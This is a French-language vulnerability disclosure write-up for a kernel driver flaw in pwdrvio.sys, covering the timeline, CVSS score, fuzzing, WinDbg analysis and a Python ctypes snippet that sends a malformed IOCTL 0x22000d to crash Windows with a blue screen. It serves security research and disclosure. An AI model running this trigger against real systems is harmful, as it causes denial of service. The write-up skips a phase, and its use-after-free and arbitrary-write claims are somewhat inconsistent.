CVE-2026-36980-Kernel-BSOD-DoS-PoC

Date du projet : février 2026 / Découverte d'une vulnérabilité de débordement de tampon dans le gestionnaire IOCTL du pilote noyau pwdrvio.sys. La vulnérabilité permet à un attaquant local non privilégié de corrompre la mémoire du pool noyau, déclenchant un crash immédiat du système (BSOD) et un déni de service.

• 2026-02-09 Fournisseur notifié
• 2026-03-05 Fournisseur a accusé réception
• 2026-03-05 CVE demandée auprès de MITRE
• 2026-05-10 Divulgation publique après la période de divulgation coordonnée de 90 jours

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Déni de service (DoS) Sévérité : MOYENNE Score CVSS 3.1 : 5.5 (DoS)
Chaîne du vecteur CVSS :

• DoS : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Débordement de tampon — Déni de service (CVSS 5.5 - MOYENNE)

• Déclenche un écran bleu de la mort (BSOD)
• Exploitation autonome (aucun débogueur requis)
• Provoqué par un débordement de tampon via l'IOCTL 0x22000d
• Crash systématique sur toutes les configurations testées

Prérequis de l'attaque :

• Accès local au système cible
• Compte utilisateur standard (non administrateur)
• MiniTool Partition Wizard installé ou désinstallé (pilote pwdrvio.sys chargé)

Résultats de l'exploitation : DoS - Crash immédiat du système, indisponibilité du service

Chronologie de la découverte de la vulnérabilité

Phase 1 : Fuzzing initial et découverte du BSOD

Date : 5 février 2026
Activité : Fuzzing systématique du pilote noyau à l'aide d'un fuzzer Python personnalisé

Processus de découverte :

1. Sélection de la cible :

   • Énumération des pilotes noyau installés sur la VM Windows 10
   • Identification de pwdrvio.sys comme pilote le plus ancien (horodatage : 16 juin 2009)
   • Fichier du pilote : C:\Windows\System32\drivers\pwdrvio.sys
   • Objet de périphérique : \\.\PartitionWizardDiskAccesser\0

2. Fuzzing initial :

   • Développement d'un fuzzer Python utilisant ctypes pour interfacer avec le pilote
   • Envoi de données aléatoires via WriteFile/DeviceIoControl au périphérique du pilote
   • Résultat : Plusieurs écrans bleus de la mort (BSOD)

3. Activation du vérificateur :

   • Activation du Vérificateur de pilotes (Driver Verifier) pour une détection de crash améliorée

   verifier /standard /driver pwdrvio.sys
   

   Configuration du vérificateur :

   Verifier Flags: 0x001209bb
   Standard Flags Enabled:
     [X] Special pool
     [X] Force IRQL checking  
     [X] Pool tracking
     [X] I/O verification
     [X] Deadlock detection
     [X] DMA checking
     [X] Security checks
     [X] Miscellaneous checks
     [X] DDI compliance checking
   

Phase 2 : Configuration du débogage du noyau avec WinDbg

Date : 5-6 février 2026
Activité : Mise en place d'un environnement de débogage noyau pour l'analyse des causes profondes

Procédure de configuration :

1. Configuration du port série VMware :

   VMware Workstation Pro → VM Settings
   ├─ Add Hardware → Serial Port
   ├─ Connection: "Use named pipe"
   ├─ Path: \\.\pipe\com_1
   ├─ End: "This is the server"
   └─ I/O Mode: "Yield CPU on poll" ✓
   

2. Configuration du système d'exploitation invité :

   REM Administrator Command Prompt
   bcdedit /debug on
   bcdedit /dbgsettings serial debugport:1 baudrate:115200
   shutdown /r /t 0
   

3. Connexion WinDbg de l'hôte :

   WinDbg → File → Attach to Kernel
   ├─ Port: \\.\pipe\com_1
   ├─ Baud Rate: 115200
   ├─ Pipe: ✓
   └─ Reconnect: ✓
   
   Result: "Kernel Debugger connection established."
   

Phase 3 : Analyse des causes profondes - Découverte de l'écriture arbitraire

Date : 6 février 2026
Activité : Identification d'une primitive d'écriture arbitraire du noyau

Étapes d'analyse :

1. Analyse du module :

   1: kd> lm m pwdrvio
   start             end                 module name
   fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
   
   1: kd> !drvobj pwdrvio 2
   Driver object (fffff805`XXXXXXXX) is for:
    \Driver\pwdrvio
   
   DriverEntry:   fffff805`315f6008
   DriverUnload:  fffff805`315f1060
   
   Dispatch Routines:
   [00] IRP_MJ_CREATE                      fffff805`315f108c
   [02] IRP_MJ_CLOSE                       fffff805`315f12f8
   [03] IRP_MJ_READ                        fffff805`315f16c4
   [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
   [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
   

2. Découverte de l'instruction vulnérable :

   Définition d'un point d'arrêt sur le gestionnaire d'écriture :

   1: kd> bp pwdrvio+0x1641
   1: kd> g
   
   Breakpoint 0 hit
   pwdrvio+0x1641:
   fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
   

   Constat crucial : Primitive d'écriture arbitraire identifiée !

   • L'instruction écrit le pointeur noyau (RAX) à l'adresse [R11-0x10]
   • R11 est chargé depuis la trame de pile : mov r11, qword ptr [rbp+0xB8h]
   • Aucune validation effectuée sur l'adresse de destination

3. Analyse de l'état des registres :

   0: kd> r
   rax=fffff805315f1364  ← Kernel code pointer
   r11=ffffe60f84c38750  ← Destination address (controlled via stack)
   rbp=ffffe60f84c38610  ← IRP stack frame
   
   0: kd> dq @rbp+0xB8 L1
   ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
   

Phase 4 : Analyse de l'UAF vers l'écriture arbitraire

Date : 6-7 février 2026
Activité : Traçage de la vulnérabilité, de l'use-after-free à une condition write-what-where

Chaîne de corruption de la mémoire :

1. Allocation IRP :

   0: kd> !pool @rbp
   Pool page ffffe60f84c38610 region is Special pool
   *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
   Pooltag Irp+ : I/O verifier allocated IRP packets
   

2. Relation des tampons :

   0: kd> r rsi
   rsi=ffffe60f828df900  ← User buffer location
   
   0: kd> ? @rbp - @rsi
   Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
   

   Analyse : Le tampon utilisateur n'est PAS directement accessible depuis la trame RBP

   • RBP pointe vers la structure IRP dans le pool noyau
   • Le tampon utilisateur se trouve dans une région mémoire différente
   • L'offset RBP+0xB8 ne pointe pas vers le tampon contrôlé par l'utilisateur

3. Condition de type use-after-free :

   Le pilote conserve des pointeurs pendants dans la structure IRP :

   // Ghidra decompilation (pwdrvio+0x1564)
   longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
   
   // No validation!
   lVar5 = IoBuildAsynchronousFsdRequest(...);
   
   // Write to [lVar1 - 0x10]
   *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
   

Phase 6 : Identification du déni de service

Date : 8 février 2026
Activité : Découverte d'une vulnérabilité DoS autonome

Découverte :

1. Fuzzing des IOCTL :

   • Test de divers codes IOCTL avec des tampons malformés
   • Identification de l'IOCTL 0x22000d comme vulnérable

2. Mécanisme du crash :

   # Vulnerable parameters
   TARGET_IOCTL = 0x22000d
   
   input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
   real_output_buffer = ctypes.create_string_buffer(4)
   fake_output_length = 8192  # Driver trusts this value!
   
   DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                   real_output_buffer, fake_output_length, ...)
   

3. Comportement du pilote :

   • Le pilote se fie à la longueur du tampon de sortie fournie par l'utilisateur
   • Il tente d'écrire 8192 octets dans un tampon de 4 octets
   • Débordement de tampon → Corruption du pool → BSOD